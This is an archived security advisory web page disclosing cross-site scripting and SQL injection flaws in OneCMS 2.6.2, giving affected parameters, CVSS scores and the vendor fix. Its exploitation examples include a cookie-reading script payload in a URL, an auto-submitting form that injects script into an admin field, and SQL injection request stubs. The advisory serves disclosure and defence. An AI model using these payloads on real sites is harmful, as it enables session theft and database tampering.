Total Tests:
Stay in Touch

Get exclusive updates and invitations to our events and webinars:


Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in OneCMS

Advisory ID:HTB22432
Product:OneCMS
Vendor:Insane Visions
Vulnerable Versions:2.6.2 and probably prior
Tested Version:2.6.2
Advisory Publication:June 10, 2010 [without technical details]
Vendor Notification:June 10, 2010
Public Disclosure:June 24, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in OneCMS which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerabilities in OneCMS
The vulnerability exists due to input sanitation error in the "cat" and "Short1" parameters in admin/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.
Exploitation examples:
http://example.com/admin/admin.php?cat=cheats%22%3E%3Cscript%3Ealert%28docum ent.cookie%29%3C/script% 3E
<form action="http://example.com/admin/admin.php?view=manage&edit=2" method="post" name="main" >
<input type="hidden" name="id[]" value="1" />
<input type="hidden" name="cat_1" value="news" />
<input type="hidden" name="name_1" value="OneCMS News title" />
<input type="hidden" name="lev_1" value="No" />
<input type="hidden" name="Full1" value="news full text" />
<input type="hidden" name="systems1" value="" />
<input type="hidden" name="games1" value="" />
<input type="hidden" name="Short1" value='short"><script>alert(document.cookie)</script>' />
<input type="hidden" name="image1" value="" />
<input type="hidden" name="Add" value="Submit Changes" />
</form>
<script>
document.main.submit();
</script>


2) SQL injection vulnerabilities in OneCMS
2.1 The vulnerability exists due to input sanitation error in the "id" parameter in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/index.php?load=af&view=click&id=3'+any sql

2.2 The vulnerability exists due to input sanitation error in the "search" parameter in search.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://example.com/search.php?view=forums" method="post" name="main" >
<input type="hidden" name="search" value="1+any sql" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB - https://www.immuniweb.com/advisory/HTB -
[2] OneCMS - onecms.net - OneCMS is a content management system that allows you to easily manage content, games, forums via the built in software, custom fields, custom categories etc.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential